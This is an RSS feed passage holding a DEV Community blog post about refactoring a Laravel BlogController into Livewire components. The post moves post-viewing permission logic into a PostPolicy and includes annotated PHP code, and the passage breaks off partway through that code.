<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Thanos Stantzouris</title>
    <description>The latest articles on DEV Community by Thanos Stantzouris (@d3adr1nger).</description>
    <link>https://dev.to/d3adr1nger</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F310047%2Fd8426c2a-04ba-4ad7-bf18-3a7ad9aaf224.jpeg</url>
      <title>DEV Community: Thanos Stantzouris</title>
      <link>https://dev.to/d3adr1nger</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/d3adr1nger"/>
    <language>en</language>
    <item>
      <title>Late Night Refactors #2: Controller to Livewire Components</title>
      <dc:creator>Thanos Stantzouris</dc:creator>
      <pubDate>Mon, 17 Feb 2025 22:20:48 +0000</pubDate>
      <link>https://dev.to/d3adr1nger/late-night-refactors-2-controller-to-livewire-components-3hde</link>
      <guid>https://dev.to/d3adr1nger/late-night-refactors-2-controller-to-livewire-components-3hde</guid>
      <description>&lt;p&gt;Do you see outside? The day has fallen, and the dark hours have once again swallowed the sun! The time has come once more to heed that call, to roll up our sleeves and embark upon another &lt;strong&gt;Late Night Refactor&lt;/strong&gt; adventure!! 🧙‍♂️&lt;/p&gt;

&lt;p&gt;Dramatic much? &lt;/p&gt;

&lt;p&gt;So yeah, back to the main program! In this &lt;strong&gt;Late Night Refactor (LNR)&lt;/strong&gt; session, I'll be tackling a doozy of a controller and working to split it up into &lt;strong&gt;Livewire Components&lt;/strong&gt;.&lt;br&gt;
Now, generally speaking, a &lt;strong&gt;Laravel Controller&lt;/strong&gt; should be lean and mean. Ideally, it should stick up to the 7 &lt;strong&gt;REST&lt;/strong&gt;ful methods: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;index&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;create&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;store&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;show&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;edit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;update&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;destroy&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But the controller I discovered, &lt;code&gt;BlogController&lt;/code&gt;, had turned into what I affectionately call an "index mapper". I had created multiple index methods like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;indexCategoryPosts()&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;&lt;code&gt;indexTagPosts()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;indexUserFeedPosts()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;indexUserPosts()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;listAllCategories()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Oh, and &lt;code&gt;show()&lt;/code&gt; snuck in there too!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At the time, it seemed like a clever approach - keep all those index-y things together under one roof. But as I revisited this code with fresh eyes, it became clear that this pattern had 2 main downsides:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Crowded Much?&lt;/strong&gt;: By piling on the index methods ( and the &lt;code&gt;show()&lt;/code&gt; method ), the controller had become bloated and harder to navigate. Each additional index method diluted the focus of the class.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reusablen't&lt;/strong&gt;: Tying multiple index queries to the &lt;code&gt;BlogController&lt;/code&gt; made them harder to reuse in other contexts. What if I needed that snazzy &lt;code&gt;indexUserFeedPosts()&lt;/code&gt; logic somewhere else?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Livewire to the rescue!&lt;/strong&gt; 💪&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.giphy.com%2F10bKPDUM5H7m7u.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.giphy.com%2F10bKPDUM5H7m7u.webp" alt="livewire to the rescue like superman gif" width="500" height="375"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  PostShowComponent
&lt;/h2&gt;

&lt;p&gt;At first, I decided on a folder structure that would go with a somewhat &lt;strong&gt;Domain Driven&lt;/strong&gt; like approach, since &lt;a href="https://sudorealm.com" rel="noopener noreferrer"&gt;Sudorealm&lt;/a&gt; is a Blog Platform, I would separate the Livewire Components into two &lt;em&gt;Domains&lt;/em&gt;, &lt;strong&gt;Blog&lt;/strong&gt; and &lt;strong&gt;Dashboard&lt;/strong&gt;, therefore the &lt;code&gt;show()&lt;/code&gt; method of the Controller would now transform to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;App\Http\Livewire\Blog\Post\PostShowComponent&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This component and the equivalent view will be created by running this command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;php artisan livewire:make Blog/Post/PostShowComponent // or sail artisan ... 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before blindly copy-pasting the  &lt;code&gt;show()&lt;/code&gt; method's code into the component I took a step back to thoroughly examine the method's contents. I wanted to ensure that I fully understood and agreed with all the logic it contained.&lt;br&gt;
And shocker! I didn't! Let me show you why:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Post&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;💥&lt;/span&gt; &lt;span class="c1"&gt;// Route model binding ignored&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$post&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Post&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="err"&gt;💥&lt;/span&gt; &lt;span class="c1"&gt;// Quering same Post Twice&lt;/span&gt;
        &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'category'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;💥&lt;/span&gt; &lt;span class="c1"&gt;//I can write one with instead of 4 &lt;/span&gt;
        &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;💥&lt;/span&gt; &lt;span class="c1"&gt;// Loading the entire user model&lt;/span&gt;
        &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'tags'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'affiliates'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;byActivated&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'affiliate_category'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}])&lt;/span&gt;
        &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;addSelect&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
            &lt;span class="s1"&gt;'crowned_by_user'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nc"&gt;Crown&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;id&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
                &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;whereColumn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'post_id'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'posts.id'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;withCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'crowns'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'affiliates'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;findOrFail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="err"&gt;💥&lt;/span&gt; &lt;span class="c1"&gt;// This entire logic belongs in the PostPolicy &lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;isPublished&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nc"&gt;Auth&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;id&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; 
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'blog.show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="s1"&gt;'post'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'403'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'We are not ready yet for you to see this. coming soon😋'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="err"&gt;💥&lt;/span&gt; &lt;span class="c1"&gt;// This will never run, it's unreachable code&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Therefore I see that I'll have to continue with the following actions: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create &lt;code&gt;PostPolicy@view&lt;/code&gt; method with logic for when a user can view a post.&lt;/li&gt;
&lt;li&gt;Pass new logic to component, and frontend to &lt;code&gt;post-show-component.blade.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Delete unused files: 

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PostShow.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;post-show.blade.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;show.blade.php&lt;/code&gt; Fun fact: this file was already calling &lt;code&gt;PostShow.php&lt;/code&gt; Livewire component. We're just climbing the abstraction ladder a bit.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Refactor Result
&lt;/h3&gt;

&lt;p&gt;By implementing the &lt;a href="https://livewire.laravel.com/docs/components#layout-files" rel="noopener noreferrer"&gt;&lt;strong&gt;Livewire Layout Components&lt;/strong&gt;&lt;/a&gt; I can call the component from &lt;code&gt;web.php&lt;/code&gt; like so: &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;web.php&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Before&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;   &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/{post:slug}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;BlogController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'show'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'post.show'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;//After&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;   &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/{slug}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;PostShowComponent&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'post.show'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;PostPolicy.php&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;?User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Post&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;isPublished&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, I ensure a user can view a post if it's published or the user is the author. Hmm... here a function like&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;isAuthoredBy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;would be nice. 🤔 See? This is why I am doing this! 🤓&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PostShowComponent.php&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="k"&gt;declare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strict_types&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kn"&gt;namespace&lt;/span&gt; &lt;span class="nn"&gt;App\Http\Livewire\Blog\Post&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;App\Exceptions\CrownNotFoundException&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;App\Exceptions\DuplicateCrownException&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;App\Models\Crown&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;App\Models\Post&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Illuminate\Http\RedirectResponse&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Illuminate\Support\Facades\Auth&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Illuminate\Support\Facades\Log&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Livewire\Attributes\Layout&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Livewire\Component&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;Layout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'layouts.guest'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'leftSidebar'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'rightSidebar'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'hideHeader'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;])]&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PostShowComponent&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Component&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;Post&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="nv"&gt;$hasCrownedPost&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;mount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$slug&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Post&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;addSelect&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
                &lt;span class="s1"&gt;'crowned_by_user'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nc"&gt;Crown&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                    &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;id&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
                    &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;whereColumn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'post_id'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'posts.id'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="p"&gt;])&lt;/span&gt;
            &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'slug'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$slug&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;firstOrFail&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'view'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
            &lt;span class="s1"&gt;'category'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s1"&gt;'user'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt;
                &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'slug'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'avatar'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'background_id'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
